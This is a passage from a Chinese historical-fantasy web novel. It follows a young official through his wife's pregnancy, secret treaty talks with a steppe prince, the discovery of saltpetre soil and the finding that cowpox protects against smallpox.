段之缙只觉头晕目眩,眼神都有些涣散,吓得姨娘花枝乱颤,沈白蘋想要扶,被段云霓一把撑住。 王虞气道:“你个没种的东西,你媳妇还没晕你就要倒!还是叫你和你媳妇静一静,我们先走吧。” 段之缙坐在床边看着几个人要出门,又突然想起来小叶紫檀的木匣子,忙叫住霓丫头,“这是宋征舆给你的宫花。”然后又陷入沉思,也听不见段云霓的嗔恼,骂他不知道找个没人的时候再给,是故意当着母亲和姨娘的面来羞她。 他只是坐在床上,一言不发,然后突然问道:“我们得给孩子种 痘吗?” 沈白蘋一愣,从没听说当爹这种反应的,还是答道:“应当得种吧。只是这也得满了周岁。” 段之缙仍是愣,又突然从怀里掏出来那枚怀表,说道:“这个是送给你的。” 沈白蘋在外祖家见过怀表,但这也是十多年前的事情,现在也新奇得很,打开一看,噗嗤一声笑了出来,推段之缙一下,问道:“你怎么买个光屁股小孩儿?倒真怪了,这个小孩儿还长着翅膀射箭呢!” 段之缙接过来一看,表盘上是小爱神丘比特,倒真应景。 “这个小孩叫丘比特,他有一只金箭和一只铅箭……” …… 第二天,段之缙还是有些懵怔,半梦半醒地收拾了,跑去理藩院点卯,罗国珠给他指派了一个翻译,叫他去会同馆陪着赤砂人逛街,最重要的就是叫他们安分些,别惹出来祸。 一路上,段之缙默默祈祷,叫赤砂人兴致缺缺呆在屋里不出来,但偏偏事与愿违,赤砂人兴致高得很,段之缙一来就催着出发,定然要好好逛一逛京城。 他们大多数头一次进京城,也是这么长时间里头一回好好看京城的景象,见什么都稀奇,每每和段之缙打听。 七问八问,问到了不该问的东西上。 脱勒齐指着西边的一座彩楼,跟翻译说了几句,那翻译就问:“那是什么地方?” 段之缙搓搓手,“妓院,就是女人卖身的地方。” “我们要去那里。” 段之缙断然拒绝:“不行,官员去妓院要杖六十,革职处理的。可不能你们开了眼界叫我被御史参一道。” 翻译告诉脱勒齐,脱勒齐吵着自己去,又被阿勒速喝止,“不要没事儿找事儿。” 段之缙看他们真找不着好玩的东西了,便想带着他们去戏楼。 汉话不通怎么办?这倒是无妨,叫翻译先讲讲大体的意思,料想里边的故事情节也能叫他们稀罕稀罕了。 一行人进了戏楼,来得正是时候,上一折子戏刚唱完,现在正要唱《狸猫换太子》。 这出戏排得好,段之缙只看他们唱念做打,那阿勒速却听得心有戚戚然。 长子,长子…… 怎么人一出生,就按照次序定下了谁尊谁卑? 他用赤砂话跟旁边的脱勒齐嘲道:“你瞧,这雍朝人也论长啊!” 这一行使团,包括他们翻译在内,多是二王子的亲信,脱勒齐更是二王子的亲人,此时也愤愤不平,“要让我们族人越来越好,就应让你当……” “这是你能说的吗?” 脱勒齐悻悻住嘴,朝廷这边的翻译却听了个一清二楚。 也或许,阿勒速就是要说给朝廷的人听。 第72章 072离京 《狸猫换太子》足足有三个部头,长达两个时辰,赤砂人虽听不懂汉文,但叫翻译一句句译了唱词,那些人也看得津津有味。 段之缙心里总跳出来孩子的事情,看到李妃生子之后,剩下的时间全在走神。 等着唱完了戏,段之缙带着他们四处逛了逛,买了些新奇玩意儿就送他们回会同馆,又去理藩院复命。 朝廷的翻译是理藩院的小吏,两人一块回衙门的时候,他将阿勒速和脱勒齐的对话告诉段之缙,问道:“大人,要禀报罗部堂吗?” 段之缙还在想阿勒速的动机。 大王子苏赫,二王子阿勒速和三王子额尔格,额尔格是最没用的东西,不足为惧。苏赫有礼法上的优势和父汗的恩眷,但仍然没有争过阿勒速,被反叛的部下追到了止步关,腹背受敌,于银泉城门口自刎。 阿勒速不是池中之物,朝廷对他的帮助是渗透还是养虎为患也尚未可知。 狼子野心,他并不一定会因为雍朝的帮助而亲善朝廷。 但是这不妨碍朝廷利用阿勒速在此次和谈进行利益勾兑,因而一定要禀报部堂。 罗国珠沉思一番,拍拍翻译的肩膀,“伶俐人,跟我一块儿去见刘中堂吧。”又转向段之缙,“你也一块儿。” 理藩院的两个侍郎也一起去了,六个人聚在一处,刘中堂问道:“你们都有什么想法?” 罗国珠道:“阿勒速不是没脑子的蛮族,中堂可还记得我们第一日和谈的时候,他对太祖时候的和谈都清楚得很,汉话虽不流 利,但是他会说。且为人也能低下头,管得住下属,那脱勒齐该是赤砂贵族,但却极为听从阿勒速的话。” “那你的意思是?” “倘若阿勒速有此心,倒不如祝他一臂之力,叫他跟其父兄对抗,赤砂人一乱,也能叫我们渔翁得利。” 刘中堂摇摇扇子,“就怕是养虎为患。” 侍郎陶士倧道:“中堂这就想的太远了,阿勒速不一定能够成事,就算能够成事,赤砂经这么一遭变故,一时半会儿也缓不过来。” 刘玳廷看看查启瑞,他却说不出个一二三四五,又转眼看看段之缙,段之缙道:“下官浅见,锦上添花不如雪中送炭。即便阿勒速说的话没那个意思,我们也可以先试探,他若真有大志,应当不会拒绝我们。但是要防着他空手套白狼,朝廷履诺之后阿勒速不认了。” 刘玳廷思索一番,“我先进宫和陛下禀报,接下来如何就要由陛下做主了。小段没事儿回家吧。” 段之缙告退,衬着夜幕,刚进家门心脏就开始怦怦跳,然后恍然记起,自己昨天云里雾里的,好像没安慰沈白蘋,也没问孩子的情况。 略有心虚地进了致知斋,只见沈白蘋仍在床上坐着,姨娘和她一块儿绣肚兜。 在段之缙的认知里,除了坐不住的孩子,孕妇是不会成日在床上的,心里有些急,上前问:“现在几个月了?胎稳不稳?今日下地了吗?” 施姨娘道:“才一个月呢,大夫说坐得稳,但是前三个月还是要小心些。” 段之缙于妇科一窍不通,大夫说没事就应当是没事,又问道:“那你有什么感觉吗?想吐吗?有想吃的东西吗?” 施姨娘瞧他们一个东问西问,一个细细回答,撇撇嘴带着东西走了,段之缙问完了基本情况,又觉得愁。 沈白蘋见他闷闷不乐,问道:“你说是个男孩儿还是女孩儿?” 可这个话题也激不起段之缙的兴趣,他只回了一句“都好”。 “你怎么了?”是差事不顺? 段之缙有些愧疚地往沈白蘋怀里埋,“不知这次和谈要弄到什么时候,之前陛下还说,若朝廷也要派使团去赤砂,叫我也跟着去。” 他又想着那天说的,端王因为种痘没了的长子,铺天盖地的疾病,这个孩子能不能好好的长大? 又想着生育的痛苦,沈白蘋能不能熬过去? 沈白蘋却嗤嗤笑,“我又不是离不开你,之前你读书、考试,我不都是一个人吗?而且我也忙得很,要读书、写字,还要学弹琴,等着身子好些了,还要去城郊施粥……” 她絮絮叨叨说了一大顿,简直比段之缙都忙,也就叫他放下心来,又开始胡思乱想旁的事情,两三步跑到书架前翻找。 “我得找点医书看……”他嘀嘀咕咕的,又突然想到孩子要做胎教,从书架上拿了一本弟子规,可又怕这些儒家的教训坏了孩子的天性,别别扭扭地放回去,最后站在书架前愣看,竟然急得满脑门子汗。 沈白蘋见他失了魂一样,假嗔道:“魂不守舍的,作甚呢!” 段之缙回道:“找本书,念给孩子听。” “那你拿本游记或是诗集?” 段之缙这才挑了一本诗集,爬进沈白蘋的纱被里读。 读到唐代路德延的“折装泥燕,添丝放纸鸢”,忽然摸一摸沈白蘋的肚子,畅想道:“等着春天来了,爹爹带你放纸鸢。” 念两句就要畅想,沈白蘋很快就被这轻轻柔柔的说话声哄得睡了过去。 …… 第二天段之缙满头大汗地醒过来,梦里不知 男女的孩子长了满脸水泡,而他只能抱着孩子到处跑,医馆却紧紧闭着门。 无精打采地去了衙门,查启瑞在司务厅门口叫住他,“昨天晚上议下来的章程,不管阿勒速有没有那个意思,先试探试探。你昨天带着他们闲逛,有些公务外的情谊,今日的差事结束,你送他们回会同馆的时候跟阿勒速搭个话,然后回来和刘中堂禀告。” 段之缙应下,偷偷腹诽:“能有什么情谊?昨天他们想去妓院都叫我拦下了……” 今日上午的和谈就有些怪了,大家坐在一处,赤砂那边云里雾里地问,朝廷这边含含糊糊地答,半天说不出一句准话。 但是还得熬着,稀里糊涂地等着下值,罗国珠吩咐道:“允升,你送使团回去如何?”还特意安排了一个翻译去。 赤砂人像是预感到了什么,分配马车时,叫阿勒速和段之缙坐到了一起,马车上还坐着朝廷的翻译。 车内一时沉默,段之缙打破僵局,“殿下,昨日的戏您觉得怎么样?” 阿苏勒用赤砂话说了一句“很有趣”。 段之缙道:“不过唱戏到底是唱戏,再说这是宋朝的事情,我们雍朝人却觉得不合时宜了。” 翻译传话:“怎么说?” “我们中原倒是论嫡论长,不过观历朝的史书,非嫡非长继承大统的也不少啊。譬如汉武帝,难道他是嫡长吗?再者,以爱立嫡的例子也不少。前朝远的不说,就说当今,先太子亡故之后,我们陛下不肯立长子誉王为太子,也是因为另有爱子。” 阿勒速嗤笑,“你说因为父亲的喜爱,能够得到皇位,但是非嫡非长又不是爱子,想要位极九五岂不是痴人说梦?” “唐太宗玄武门之变,靠的可不是父亲的宠爱。单凭你怎么操作,会不会找助力,有时候敌人不一定是敌人,反而能给你带来好处。” 阿勒速鹰一般的目光扫着面前蓝色官服的雍朝人,他知道昨日观戏时那些似是而非的话,雍朝人已经知道了他的意思。 自己带来的翻译白蒙说的没错,现在草原上没人能帮他,隔壁的敌国却有。自己不能辛辛苦苦一顿,给大哥打江山。 阿勒速说:“你们雍朝人一向喜欢打谜语,我们西北的汉子却是有什么说什么。倘若你能与我粮与铁,我们大可以签密约。” 段之缙松一口气,只要有这个心思就好,想来在原本的世界里,他也是如此操作了。 但转念一想,又十分不对,“朝廷愿意给你粮和铁,你能给朝廷什么?” “你们想要的,无非是良马和放马的草场。” 段之缙讥道:“殿下,我虽然是个没品级的理藩院行走学习,但好歹也不是睁眼瞎。骏马只不过是数量上的东西,做些手脚也容易。但草场呢?你能背着汗王把草场划给我们?签了这个密约,如何履行?” 阿勒速鼻子里喷出一口气来,白森森的牙齿露着寒光,“年轻人,若你们朝廷真的想要草场,那么你的上官一定能想出来法子。把我的话告诉你们上官,就说明日的和谈我们从头开始。” 段之缙沉默,将赤砂人送到会同馆,又回理藩院,刘中堂还在等他的消息。 “如何?” “除了呈献给他们汗王的盟约之外,阿勒速还愿意跟我们签订密约,我们另出粮与铁给他私人,他也愿意将额外的马匹和草场给我们。但是需要我们自取。” “自取?如何自取?” “阿勒速说,大人们能想出来法子。” 罗国珠冷笑:“感情要我们做冤大头,他想空手套……”话出一半,刘中堂一挥手,示意他噤声,沉思起来,最后叹气道:“先谈,谈完了再说。” 上官叫他走,段之缙才告退,在街上有卖缠在腕子上小花串的婆婆,段之缙给了一小把碎银子,提走了一篮粉白色的拇指盖大小的花,回去后捡出来最大的一串叫沈白蘋瞧个新鲜,剩下的分给丫头。 这一晚上又做梦,梦见蘋儿肚子涨得像鼓,怎么也娩不下孩子。 段之缙惊醒,擦擦头上的汗,仔细打量了沈白蘋肚子的大小,又点着灯看了看她的脸,似乎没变胖才稍放下心,去衙门当差。 今日和谈果然开了新气象,段之缙所见,两方竟有些其乐融融。 明面上的盟约,两方出的血要差不多,阿勒速把自己的底线摆出,粮、铁、茶等全都在朝廷可以接受的范围内。 刘中堂当即应下,然后拿出一份地图,这是他和徐自闻连夜敲定的,递给阿勒速,“这几处草场,你们汗王一定能够接受。” 阿勒速接过,和几个人商量一番,觉得可行,又问:“那其他的草场呢?你们想要何处?” 刘玳廷却说:“你们的草场,我们还不甚清楚,一定要出使才能定下来。” “你们使团里有哪些人?” 罗国珠道:“这次的和谈我们刘中堂定然要去,验看草场归户部的人管,一定要去。段之缙是理藩院的行走学习,这次叫他长长见识。此外一等公徐自闻大人也要去。” 阿勒速警觉:“徐自闻不能去,十几年前他就在西北领军,若是他去了,我父汗决不能放心。”不仅父汗不放心,阿勒速自己也不放心,自己是为了借雍朝的势,不是叫雍朝来占便宜的。 徐自闻不容小觑,决不能引狼入室。 “不仅徐自闻不能去,你们兵部和军队的军官都不能去。草场只看肥沃与否即可。” “但草场敲定,要徐大人来做。” 阿勒速嗤笑,语速极快,翻译跟着回道:“你们泱泱大国,找不出第二个能办这件事儿的人?” 朝廷这边面面相觑,只能再回去商量。 …… 一个月后,朝廷和赤砂的盟约终于签订,表面上还叫雍朝吃了些亏,雍朝以庆贺双方立兄弟之盟的名义出使,图尔赫也在阿勒速的劝说下同意,大量的丝绸锦缎和成批的礼乐器具装上马车,朝着西北方向进发。 一份秘密的盟约,将在西北银泉城内订立。 段之缙回望京城,又看看骑在马上的唐馥,疑道:“你们御前的侍卫怎么也来了?” 唐馥甩甩鞭子,“大人,陛下担忧你们的安危,特叫我们来保护呢!” 不是兵部,也不是军官,只是一个出身西北军队的御前侍卫罢了。 第73章 073王城 唐馥的确是个好人选,机敏聪慧,对兵法也熟之又熟。 只是身份颠倒,该段之缙叫三品的一等侍卫为“大人”才是,毕竟他自己还是个没品的。 “怎么敢得唐大人一声‘大人’?该我尊称您才是。” 唐馥却笑,“我得大人一声‘唐兄’,叫您一声大人怎么了?段大人,何必回首京城?转年就能回来了。” 段之缙还未同外人说过,此时按耐不住,眉眼一弯,“拙荆身怀有孕,我放心不下。” 唐馥微讶,贺道:“恭喜,恭喜……” 两个人又说笑了一会儿,刘中堂唤唐馥过去。 …… 这一路往西北去,天变得愈发炎热干燥,人身上的皮屑像泛着雪,里衣上沾得一层一层,有时连日带夜得赶路,喝水都得紧着来,洗漱便不用想了。 段之缙将这一路的见闻记在纸上,只苦于不能寄信。 车上的大人,成日在有冰盆的屋子里办差,身子和曝暑苦读时不能比,在马车上呆着都中暑,走走停停一个月,使团才到了银泉城,这是域内离赤砂人最近的地方。 顶着热浪下马车,蒸腾的热气叫空气都扭曲变形,风吹在脸上像叫蒸汽扑了满面,唯一不相似的就是缺少水汽。 银泉城的城门,厚重而又沧桑,门上的刻痕和斑驳的城墙,还闪耀着刀光剑影,是两个民族之间的血海深仇。 驻守西北的将军陈冲穿一身铁甲,带着亲兵和县令邵俊铭在城门口迎接使团,城门轰然打开,马车和高头大马进入县城。 银泉城内是西北的粗犷和豪迈,又显出历经烽火后的萧条,赤砂人方一露面,四面八方,都是仇恨的目光。 但民众又是沉默的,他们默不作声地看着车马停在县衙门口,这一行人被迎进去。 他们堵在县衙,被师爷驱散。 刘中堂和陈冲说话,邵俊铭将众人安顿下来,在银泉城内稍作休整,三日后送使团出止步关去往赤砂人的地界。 安顿好,段之缙问邵俊铭,“邵兄,你在西北可还好?” 邵俊铭与他回礼,笑道:“甚好,甚好,水是我常喝的水,山是我常见的山,关也是 我们世世代代守着的关,心安得很。” “你呢,你在京城如何?”他看看段之缙的官服,“现在是笔帖式?” “并非,仍在理藩院行走学习,陛下的恩旨,叫弟着七品官服。” 可惜了,若是能直接去翰林院,现在何止七品的官服? 邵俊铭安慰:“段弟,理藩院排在六部之后,但却掌握着四方异族,比之礼部、工部要更有权势,年轻人慢慢熬着,总有一天能熬出头来。” 段之缙失笑,谢过邵俊铭后进屋休息,三日后一部分人留在银泉城,刘中堂、虞衡司郎中常思和段之缙等人迈入了异国他乡。 西北,山南湿,有数不清的草场。山北干,大漠和草场错杂分布,而为了防御雍朝的敌人,赤砂人将王帐设在山北,靠着大山的阻挡防御,也就给了密约签订的机会。 这些人兵分两路,一部人由赤砂翻译白蒙领着换上赤砂人的衣服,在山南看阿勒速掌控的草场,另一部分人身着官服骑马,慢慢悠悠地往北走,每一个草场和城池都要看一看,休整一番。 段之缙怕马的毛病也改了,毕竟进了赤砂的地方,马车不好走。 这些时日下起了雨,使团停在阿勒速的草场上,等着雨停也不走,又歇了两天。 段之缙站在广袤无垠的绿海中,感受到了清爽的风,吹过自己的官服。 远处是白云一样的羊,沉默的牛在咀嚼着青草,骏马在草原上奔腾,体态壮硕、肌肉虬张,是朝廷日思夜想的马种。 得天地之造化的地方,生育了这些物种。 这里的牧民也都带着一股精神气,獒犬与他们为伴,共同守护着财产。 草场的管理者木齐跪倒在阿勒速面前,用赤砂语禀报草场的情况。 赤砂的制度是一层层的臣属关系,图尔赫同姓的贵族是整个民族的主人,他们管理着不同的地区,又共同归属于大光明汗图尔赫。 每一个地区按照草场和城池划分,管理者又是贵族的奴仆。一层层向下递传,形成一个金字塔的形状。 木齐拽着一个满面风霜的老者跪在阿勒速面前,“殿下,这是今年新入草场的放牧人,他有五十头羊和十头牛。” “他原先是哪里的?” “他来自三王子的草场,把自己一半的牛羊和两个女儿献给三王子才离开了那里,想要在咱们草场讨生活。” 阿勒速知道,自己那个愚蠢的三弟刻薄贪婪太过,一点恩惠不肯施,只有财富没有人对大业有什么用处?他面上一片同情,向老者颔首:“但愿你的日子能好过些。” 跟着段之缙的翻译要将一切的赤砂话转述给他,段之缙听后若有所思。 这些牧人如星子一般散落在草原上,只有一层一层地向上报,贵族才能知道草场中财产的变动,贵族再往上报,汗王才能知道整个草原的变动。 而关键就是草场的场主,他能够直接和贵族沟通,也只对归属的贵族负责。他不说,谁也不会知道底下发生了什么。 这是地理位置和过少的人力决定的,赤砂只能通过这种方式控制住臣民。 因而只要朝廷能够成为草场的场主,阿勒速也不去追究,那么就可以控制住整个草场,甚至可以使用当地有经验的赤砂人放牧。 但最重要的就是阿勒速的许可,他的臣属不撤出,朝廷是没办法接管的。 段之缙走进使团暂住的帐子与中堂商议,那边常思也终于见到了鬼见愁的土地。 朝廷的使臣穿着赤砂人绯红色的袍子,披散的头发装饰着南珠编成小辫,眼前是灰白腻黄的土壤,沉寂的土地上,植被的茎粗壮到诡异,叶片却卷曲着,火燎过一般。 乌鸦哇哇怪叫,在天空中盘旋又停落枝头,鹰站在人和牛羊的尸体上撕扯,动物的毛发融化在热浪里。 人死后蜡黄的身体被落阳照上一层红,脱勒齐领着赤砂人以额触地恭敬地叩拜。 唐馥装模作样地捂着鼻子,用赤砂话问:“这是什么地方?”他不是一般人,在赤砂打过一场仗,就能通人家的语言。 脱勒齐很瞧不惯他这副嫌弃的样子,但两族风气不同只闷声回道:“这是我们的埋骨地,鬼神游走之处不宜久留,我们赶紧去旁的草场吧。” 常思却着迷地上前,动容地叩拜,偷捞一把带着酸气的泥土。 冰凉滑腻的土像是水里黏糊糊的水草,缠在手上。 几乎一瞬间就能确定,这土是硝土。 这个巨大的坟茔埋葬了无数的尸体,富集了硝盐,又裹挟了山南的水汽,最终形成了这一片肥沃又贫瘠的土壤。 晚上,大家在草场上就地扎帐,点着羊油灯,常思将湿漉漉的土放在小碗里泡,土水烧干出现灰白泛黄的粉,点在舌尖苦、辣带咸。 常思又将一点点的粉末涂在干木上,猛地一擦,火星四射。 千真万确的高浓度硝土。 跋山涉水,一行人将阿勒速名下的草场看了个遍,唐馥脑子里已经勾连出地图, 等着两伙人碰头的时候,所有的事情都已经解决,就剩下应当选哪些草场。 为防隔墙有耳,大家都不说话,只在纸上交流,刘中堂的草书格外不好辨认。 “段之缙的法子阿勒速已经答应了,朝廷的人以阿勒速属下的名义接管草场,在此牧马。但一定要带好弓箭火铳,以防阿勒速反水。但是也不必太过担心,只要我们拿住了这个私约,即便日后阿勒速成了大汗,和外族勾结的事情也够他喝一壶了。现在的要紧事儿就是选定草场,咱们一定要在到汗帐之前签好。” 因为回程之时,就不一定是阿勒速来送他们了。 大家的视线转移到唐馥身上,唐馥在纸上勾画,一幅简略的地图跃然纸上。 “中堂,这些就是阿勒速的草场,那鬼见愁之地是极好的硝土,若是为了鬼见愁,最好能将这四处拿到手里。” 墨笔在纸上点了几下,和明面上划出的草场相互连接,比之前徐自闻的战略更好。 “但过于明显,且这几处草场连中上也算不得,阿勒速必然会怀疑我们的用心。这样的话,还有两个法子。选这三处肥沃的草场,到时候争夺鬼见愁最为有利,但是这几处不能和盟约中的草场连接在一处,若真要开战,夺到鬼见愁后势必孤立,我们还要再打通阿勒速的领地才能和朝廷驻守的地方汇合。” “第二法则是选这几处,能够和已定盟约中的草场连片,但是要先以迅雷不及掩耳之势打通阿勒速的领地,才能到赤砂人的埋骨地。请中堂大人抉择。” 刘玳廷看着两个方案,手兜在一起。 两难啊…… 这个事情太隐秘,现在又深入了赤砂人的领地,不能再叫陛下抉择,刘玳廷自己全权负责。 “你们是什么想法?” 纸在 案上转,被推来推去,转了一轮又转一轮,大家都默不作声。 最后刘玳廷叹一口气,自己下了决定。 “那就第二个吧,我今日拟出盟约,明日就再与阿勒速谈。” 翌日,双方坐在临时搭起来的谈判场地,和谈进行地非常顺畅。 最后只剩下如何交接。 “密约承诺的粮铁和两国盟约的粮铁等都混做一起,我们的人进入密约草场时,你的领属带着给你的东西退出,草场便由雍朝的人接管。这样一手交钱,一手交货,咱们谁也不用担心谁后悔。” 秘密的盟约就此签订,阿勒速盖了自己的私印,刘玳廷则盖了皇帝的私印。 和阿勒速本人的密约达成了。 一行人加快了步伐,翻过齐斯赫山脉,到达王城。 山北,风混着沙土打在人的脸上,唐馥教着众人遮蔽脸部阻挡风沙,大家骑着骆驼赶路,竟比马还舒服些。 王城是一个四不像,巍峨的宫殿旁不是房屋,而是是数不尽的帷帐,如星星簇拥月亮。 赤砂人的制度更是有意思,身着官服的是各贵族名下的臣属,反而豪放不羁满头辫子的人是主子。 混乱的制度,走到一半的封建化进程,奴才和臣民并行。 帷帐远处就是牛羊,带着枷锁的奴隶正在替主人做工。 雍朝的使臣被迎接入内,交上国书和礼物,图尔赫大汗也曾是草原上的英雄,即便垂垂老矣,身子也挺拔非凡。 阿勒速向父汗复命,这次和谈的成果是叫大汗满意的,因而罕见的,大王子苏赫和阿勒速坐在了同一水平上,陪伴在父汗身边。 翻译替双方的人寒暄,后观赏歌舞。 壮汉赤裸着上身,乘着激昂的鼓点,四肢飞快地舞动,西北深处的琴声略有些悲壮。 桌上的马奶酒经过了多次蒸馏,火辣辣地顺着嗓子滑下,且一定要满饮,否则就是对汗王的不敬。 这一晚载歌载舞,宾主尽欢,刘玳廷一大把年纪喝的最多,却最清醒,三王子额尔格送他回去的时候,刘玳廷除了脚步虚浮些,神思不见半点含混。 额尔格是会说汉话的,虽然不太熟练。 沉沉的夜幕下,他的眸子仍然透着暴戾的光,虽然做了极好的伪装,但刘玳廷仍然看透了他。 额尔格说:“我听说,您是什么内阁的臣子,是皇帝最信任的人,这次和谈也是您主持的。” 刘玳廷谦虚道:“过誉了,我只不过是普通的臣子,蒙我们大皇帝的恩德能尽一点力罢了。” “汗王说这次和谈很好,因为我们得利比你们得利多,但是我却担心大人您。不知道这样的结果,你们大皇帝会不会发怒,我听说他连自己亲生的儿子都逼死了。” 刘玳廷回道:“我们大皇帝最是仁慈的君主,这次盟约也经过了大皇帝的首肯,怎么会为难臣子?三王子不要为我担心。” “是吗?我又听说,和你一样深受大皇帝信任的还有其他三个臣子,你若是能从赤砂得到更多好处,是不是会成为皇帝身边的第一人?” 刘玳廷便清楚了他的意思,和阿勒速一样的打算。 可惜,这个事情也有先来后到。 刘玳廷突然泛上来醉意,“年纪大了,不胜酒力,殿下有什么事儿,明天再说。”雍朝的侍卫将他扶进帐子,额尔格便知道自己被拒绝了。 但是他旁的优点没有,唯有一个坚持不懈还算得上优点。 第74章 074牛痘 西北的天是说冷就冷的,昨日还是热浪翻腾,今日帐子外已经沾了白霜,使团住在离王宫最近的帐子里,交换国书后,还需停留半月才能回程。 秋末冬初,正是打狼撵兔子的好时机,三力半的猎弓即可玩得尽兴,刘玳廷留下了几个侍卫,叫其他人出王城和赤砂人一块狩猎,段之缙也被拉着出去。 现在天气变冷,狼找猎物艰难就会把目光投向家养的牛羊,因而赤砂人会赶在冬日来之前清理狼群,声势极为浩大。 唐馥带着人在原野上拉弓搭弦射猎,成群结队地堵截狼群,将兔子穿成串挂在马上,疲惫的时候也不吃饭,就在马上塞一大口饴糖,又打马射猎。 段之缙在一边磨洋工,凭他的眼神能在马上射得几只兔子就很了不起,饴糖倒是吃了一大把。 狂欢一直持续到晚上,夜风把人脸吹得生疼,一行人在外边野了一天,分开找放牧人的帷帐住下,男人献上为数不多的酒驱寒,女人守着火做饭。 他们的两个男孩儿刚放牛回来,把牛赶入圈里,又在帐子里伺候,把热乎乎的奶茶盛给贵族。 羊油灯点着,昏昏的灯光下,只能看到男孩儿们侧出的脸蛋,像红苹果一样喜人。 段之缙接过奶茶,把袋子里的饴糖递给男孩儿,男孩儿用羔羊一样的眼睛偷偷看着脱勒齐,脱勒齐颔首他才接过。 他用赤砂语道谢,段之缙去摸他的脑袋,手背擦过额头,却摸到了一片滚烫。 “你发烧了!”他拉着孩子的手,只觉得手上疙疙瘩瘩,还没等着看清,唐馥将他一把推开。 “好像是天花!”说完,抽刀挡在身前。 那孩子的手上有脓疱! 使团这边的人已经要疯了,旁边的牧民母亲已经吓惨,脸色煞白,父母两人挡在孩子身前,用赤砂语拼命说着,场面一时混乱不堪,锅里的肉汤没了人搅动沸腾出来,扑灭了锅下的火。 赤砂人哈哈大笑,翻译转述:“这是牧民经常得的病,从畜生身上染的,不是天花。一个月就会好,他手上出了脓包,就是要好了。” 雍朝人却不敢靠近。 翻译又劝:“他们放牧做粗活的奴隶日日和畜生打交道就是会得脏病,但是没听说有人因为这个死了。天花我们这里也有过,不是这个症状,不信你们上前看一看。” 唐馥问道:“你们谁种过痘?” 还没有人回答,段之缙突然想起了欧洲的牛痘,上前拉开了孩子的衣袖,除了左手的那点脓包,并没有其他的疱疹。 “不是天花。”天花的脓包会遍布四肢和腰腹部,这不是天花的症状。唐馥等人松一口气,回到毯子上坐下。 段之缙若有所思,问道:“你们在西北,地域如此广大,人口也不密集,怎么会出现天花呢?” 脱勒齐豪饮一口奶茶:“天花还管你在哪里?一死一大片。偏生这些下贱的牧民能保全性命,鲜少听说他们得了的。” 段之缙敛着眼帘:“你们生下来享福,也该遭点罪。他们生下来遭罪,也该在这事情上享点福。只是奇怪,你们没有旁的法子能预防一下天花吗?” 脱勒齐示意那女人给他舀肉出来,腰刀片下来羊肉,香喷喷地塞进嘴里。 他吃得满嘴流油,“我们杀狼造下来杀孽,天花就是狼神的报应,哪里有防止的方法?” 那就说明赤砂人不会种人痘了。 段之缙叫翻译问那两个牧人,“你们这些放牧的牧民,有听说谁得了天花死了的吗?” 女人战战兢兢回道:“只要我们和牛羊得了一样的病,就不会再得天花了。” 段之缙点头,用小刀剔肉进嘴,准备明日将牛痘的事情报给刘中堂。 但是今天,刘中堂的日子也不好过。 他年纪大了,风餐露宿这么长时间,全凭一股气吊着,现在终于能好好歇歇,才不会没事找事跑到城外去猎狼,睡到日上三竿就带着常思出去转悠,看看这里的风土人情,心情大好诗情亦是大发,当场做了一首小诗,傍晚时分才回到自己的帐子。 和常思说说笑笑,提点一番后辈,掀开帘子,两个女孩就站在里边对他行礼,十几岁的样子,纯真朴素,说着别别扭扭的汉话,刘玳廷站在帐子门口不敢进去。 “你们是做什么的,怎么能进我的帐子?” 年纪大些,名叫乌日的女孩跪在地上,答道:“是三王子殿下叫我们姐妹来照顾贵客的。” “那你们就回三王子那里,多谢他的美意,可惜我自己带了侍从,又素来不用女子近身伺候。” 乌日泪水涟涟,“大人,我们都是下等的奴隶,倘若大人不肯收下我们,我们也回不了家,反而会被殿下打死,求大人救救我们,天神会保佑你……” 刘玳廷如何不可怜这些十几岁的女孩儿,真死了也是造孽。拽着哭求的姐姐和僵直的妹妹起来,宽慰道:“我带着你们去找额尔格。” 一路到了额尔格的帐子,刘玳廷开门见山,“三王子,老夫多谢你的美意 ,但老夫不缺伺候的人。她们两个也到了婚配的年纪,男婚女嫁也不应当再叫她们伺候人了。” 额尔格笑道:“那岂不是正好,美人要寻得良配,岂不就在眼前?” 刘玳廷仍然是笑呵呵的,“你们年轻人就不要拿我们老人家说笑了。近年我的身子愈发不好,太医都说是没用的人了,又如何能算良配?”他活到如今,什么都是身外之物,说起不能人道的事情仿佛不是在说自己。 “那就叫她们二人服侍您。” “那我的名声也算完了,殿下可不要害我。若您有心,就在我离开的时候,叫她们姐妹二人送一送我,也算是了解这一面之缘。” 额尔格的眼睛眯起来,半晌懊恼地拍一下脑袋,“我不懂你们中原的规矩,差点坏了您的名声。那就离开之日,叫她们姐妹二人来送别。今日是我冒昧了。” 刘玳廷笑着和他寒暄几句,撤出帐子,常思叹一口气,“救得了一时救不了一世,到时候咱们走了,也不知道如何。” 刘玳廷手揣在袖子里,“车到山前必有路,回程日再说。”走远了又嗤笑一声:“上不了台面的东西,靠这些下三滥的手段和他两个哥哥争斗?没时运也没本事,成不了大事。” 刘玳廷在帐子里舒舒服服睡了一晚,翌日醒得倒早,还在榻上醒神的时候,外边他的侍从禀报:“中堂,段之缙大人求见。” 来得这么早作甚?衣冠不整不像样子,刘玳廷草草披上外衣,把人放进来。 刘玳廷涮一涮桌上的茶杯,叫小厮弄些热水来,亲手给段之缙泡上了茶,和蔼地问道:“怎么今日回来了?猎狼都结束了?” 自鬼见愁之地确定了是硝土,刘玳廷对段之缙的态度愈发好了。这一次出使大获成功,段之缙此次必然能够得官职,抚远司或是南诏清吏司的郎中有他一个。 “下官有要事禀报,昨日打猎的时候住在一户牧民家,得知了一个消息,只要是从牛身上得了一种疱疹,就不会得天花了。” 刘玳廷倾水的动作一抖,滚烫的水洒在手上,叫他“嘶”了一声,侍从紧张地上前擦拭。 “你说什么?” 段之缙重复道:“有一种牛感染的天花,人感染之后就不会再得天花了。而且致死率极低,那牧民说从没听说过得了这个病死的。” “你去过几户人家?怎么敢如此确定?” 段之缙自然能确定,“虽只有一户人家,但脱勒齐也是这般说的,之前他们闹天花,的确是这些牧民很少患病。” 刘玳廷终于冲泡好茶叶,将一个茶碗递给段之缙给他倒上水,问道:“赤砂人会不会种人痘?” “赤砂人以为这是狼神的惩罚,只能承受,因而不会任何防御手段。” “倘若你说的属实,且赤砂人也不会种人痘,那咱们还能再和图尔赫商讨……离咱们回程还有十来天,这十天你和唐馥他们注意些,多问多看把事情打听清楚。我们回银泉城后立刻传消息回京城!” 这是件大事情,患天花者,往往十不存七,而中原种人痘又太难太贵。 上等的熟痘“一支丹苗”要三金,普通的人痘也要八分银,更何况人痘也不是人人都能种的,必要国手才敢接种。即便如此,每百人也有两三人因种痘丧命,幼儿更多。 